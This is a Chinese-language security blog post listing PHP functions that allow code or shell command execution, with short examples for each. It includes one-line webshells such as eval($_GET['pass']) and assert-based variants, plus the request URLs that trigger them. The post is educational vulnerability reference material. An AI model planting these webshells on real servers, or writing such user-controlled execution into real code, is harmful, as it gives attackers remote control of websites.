php代码/命令执行漏洞
文章作者:chybeta
原始链接:http://chybeta.github.io/2017/08/08/php代码-命令执行漏洞/
常见危险函数
php代码执行相关
eval()
mixed eval ( string $code )
把字符串code
作为php代码执行。常见的一句话木马:
<?php
eval($_GET['pass'])
?>
访问:
http://xxx/codeexec.php?pass=phpinfo();
得到phpinfo()页面。
assert()
PHP 5
bool assert ( mixed $assertion [, string $description ] )
PHP 7
bool assert ( mixed $assertion [, Throwable $exception ] )
assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的响应。如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。
一句话木马:
<?php
assert($_GET['pass']);
?>
访问:
http://xxx/codeexec.php?pass=phpinfo()
phpinfo()后可以不用分号。得到phpinfo()页面。
preg_replace
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索subject中匹配pattern的部分, 以replacement进行替换。当使用被弃用的 e 修饰符时, 这个函数会转义一些字符,在完成替换后,引擎会将结果字符串作为php代码使用eval方式进行评估并将返回值作为最终参与替换的字符串
更详细的说明见:php-preg_replace
call_user_func()
mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。 传入call_user_func()的参数不能为引用传递。
<?php
call_user_func($_GET['chybeta'],$_GET['ph0en1x']);
?>
访问:
http://localhost:2500/codeexec.php?chybeta=assert&ph0en1x=phpinfo()
call_user_func_array()
mixed call_user_func_array ( callable $callback , array $param_arr )
把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。
<?php
call_user_func_array($_GET['chybeta'],$_GET['ph0en1x']);
?>
访问:
http://localhost:2500/codeexec.php?chybeta=assert&ph0en1x[]=phpinfo()
create_function
string create_function ( string $args , string $code )
该函数的内部实现用到了eval
,所以也具有相同的安全问题。第一个参数args
是后面定义函数的参数,第二个参数是函数的代码。
<?php
$a = $_GET['chybeta'];
$b = create_function('$a',"echo $a");
$b('');
?>
访问:
http://localhost:2500/codeexec.php
?chybeta=phpinfo();
array_map()
array array_map ( callable $callback , array $array1 [, array $... ] )
作用是为数组的每个元素应用回调函数 。其返回值为数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。
<?php
$array = array(0,1,2,3,4,5);
array_map($_GET['chybeta'],$array);
?>
访问:
http://localhost:2500/codeexec.php
?chybeta=phpinfo
注意没有括号()
和分号;
。
系统命令执行相关
system()
string system ( string $command [, int &$return_var ] )
command是要执行的命令。return_var,如果提供 return_var 参数, 则外部命令执行后的返回状态将会被设置到此变量中。
<?php
system("whoami");
?>
会看到运行了shell命令,并打印回显到页面上。
passthru()
void passthru ( string $command [, int &$return_var ] )
command是要执行的命令。return_var,如果提供 return_var 参数, Unix 命令的返回状态会被记录到此参数。
<?php
passthru("whoami");
?>
exec()
string exec ( string $command [, array &$output [, int &$return_var ]] )
exec() 执行 command 参数所指定的命令。 其余参数,见文档
<?php
echo exec("whoami");
?>
pcntl_exec()
void pcntl_exec ( string $path [, array $args [, array $envs ]] )
path是可执行二进制文件路径或一个在文件第一行指定了 一个可执行文件路径标头的脚本
args是一个要传递给程序的参数的字符串数组。
<?php
pcntl_exec ( "/bin/bash" , array("whoami"));
?>
shell_exec()
string shell_exec ( string $cmd )
cmd是要执行的命令。
<?php
echo shell_exec("whoami");
?>
popen()
resource popen ( string $command , string $mode )
打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。 后面的mode,当为 ‘r’,返回的文件指针等于命令的 STDOUT,当为 ‘w’,返回的文件指针等于命令的 STDIN。
<?php
$handle = popen("/bin/ls", "r");
?>
proc_open()
resource proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] )
cmd是要执行的命令,其余见文档
`(反单引号)
在php中称之为执行运算符,PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出,使用反引号运算符“`”的效果与函数 shell_exec() 相同。
<?php
echo `whoami`;
?>
ob_start()
bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )
此函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中。想要输出存储在内部缓冲区中的内容,可以使用 ob_end_flush() 函数。
可选参数 output_callback 函数可以被指定。 此函数把一个字符串当作参数并返回一个字符串。 当输出缓冲区被( ob_flush(), ob_clean() 或者相似的函数)冲刷(送出)或者被清洗的时候;或者在请求结束之际输出缓冲区内容被冲刷到浏览器的时候该函数将会被调用。 当调用 output_callback 时,它将收到输出缓冲区的内容作为参数 并预期返回一个新的输出缓冲区作为结果,这个新返回的输出缓冲区内容将被送到浏览器。
下面的代码,由于调用了ob_end_flush(),所以会调用ob_start(cmd)中的cmd,把我们输入的cmd)中的cmd,把我们输入的_GET[a]作为cmd的参数。
<?php
$cmd = 'system';
ob_start($cmd);
echo "$_GET[a]";
ob_end_flush();
?>
访问:
http://localhost:2500/codeexec.php?a=whoami
php mail()
bool mail (
string $to ,
string $subject ,
string $message [,
string $additional_headers [,
string $additional_parameters ]]
)
要使用mail()函数,需要配置对应的服务器等,在php.ini中有两个选项:
- 配置SMTP服务器的主机名和端口
- 配置PHP用作邮件传输代理(MTA)的文件路径
当PHP配置了第二个选项时,对该mail()函数的调用将导致执行配置对MTA程序。虽然PHP内部使用escapeshellcmd()用于程序调用,防止新的shell命令注入,但第5个参数$additional_parameters中mail()允许添加的新程序。因此,攻击者可以附加程序标志,在某些MTA中可以创建具有用户控制内容的文件。